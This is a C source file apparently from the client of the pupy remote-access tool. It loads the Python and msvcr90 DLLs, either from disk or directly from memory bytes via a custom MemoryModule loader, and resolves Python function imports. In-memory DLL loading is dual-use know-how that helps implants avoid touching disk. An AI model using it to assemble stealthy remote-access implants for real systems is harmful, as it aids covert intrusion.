pupy/client/sources/Python-dynload.c

113 lines
2.5 KiB
C
Raw Normal View History

2015-09-21 19:53:37 +00:00
/* **************** Python-dynload.c **************** */
#include "Python-dynload.h"
#include <windows.h>
#include "MyLoadLibrary.h"
#include "MemoryModule.h"
#include "actctx.h"
#include <stdio.h>
#include "debug.h"
2015-09-21 19:53:37 +00:00
struct IMPORT imports[] = {
#include "import-tab.c"
{ NULL, NULL }, /* sentinel */
};
void Py_XDECREF(PyObject *ob)
{
static PyObject *tup;
if (tup == NULL)
tup = PyTuple_New(1);
/* Let the tuple take the refcount */
PyTuple_SetItem(tup, 0, ob);
/* and overwrite it */
PyTuple_SetItem(tup, 0, PyInt_FromLong(0));
}
void Py_XINCREF(PyObject *ob)
{
if (ob)
Py_BuildValue("O", ob);
}
int _load_python_FromFile(char *dllname)
{
int i;
struct IMPORT *p = imports;
HMODULE hmod;
// In some cases (eg, ISAPI filters), Python may already be
// in our process. If so, we don't want it to try and
// load a new one! (Actually, we probably should not even attempt
// to load an 'embedded' Python should GetModuleHandle work - but
// that is less clear than this straight-forward case)
// Get the basename of the DLL.
char *dllbase = dllname + strlen(dllname);
while (dllbase != dllname && *dllbase != '\\')
dllbase--;
if (*dllbase=='\\')
++dllbase;
hmod = GetModuleHandle(dllbase);
if (hmod == NULL)
hmod = LoadLibrary(dllname);
if (hmod == NULL) {
return 0;
}
for (i = 0; p->name; ++i, ++p) {
p->proc = (void (*)())GetProcAddress(hmod, p->name);
if (p->proc == NULL) {
OutputDebugString("undef symbol");
dfprint(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
2015-09-21 19:53:37 +00:00
return 0;
}
}
2015-09-21 19:53:37 +00:00
return 1;
}
HMODULE _load_dll(char *name, char *bytes){
HMODULE hmod;
ULONG_PTR cookie = 0;
cookie = _My_ActivateActCtx();
hmod = MyLoadLibrary(name, bytes, NULL);
_My_DeactivateActCtx(cookie);
return hmod;
}
int _load_msvcr90(char *bytes)
{
return _load_dll("msvcr90.dll", bytes);
}
2015-09-21 19:53:37 +00:00
int _load_python(char *dllname, char *bytes)
{
int i;
struct IMPORT *p = imports;
HMODULE hmod;
ULONG_PTR cookie = 0;
if (!bytes)
return _load_python_FromFile(dllname);
2015-09-21 19:53:37 +00:00
cookie = _My_ActivateActCtx();//try some windows manifest magic...
//hmod = MemoryLoadLibrary(bytes);
hmod = MyLoadLibrary(dllname, bytes, NULL);
_My_DeactivateActCtx(cookie);
if (hmod == NULL) {
return 0;
}
2015-09-21 19:53:37 +00:00
for (i = 0; p->name; ++i, ++p) {
//p->proc = (void (*)())MemoryGetProcAddress(hmod, p->name);
p->proc = (void (*)())MyGetProcAddress(hmod, p->name);
if (p->proc == NULL) {
OutputDebugString("undef symbol");
dfprint(stderr, "undefined symbol %s -> exit(-1)\n", p->name);
2015-09-21 19:53:37 +00:00
return 0;
}
}
2015-09-21 19:53:37 +00:00
return 1;
}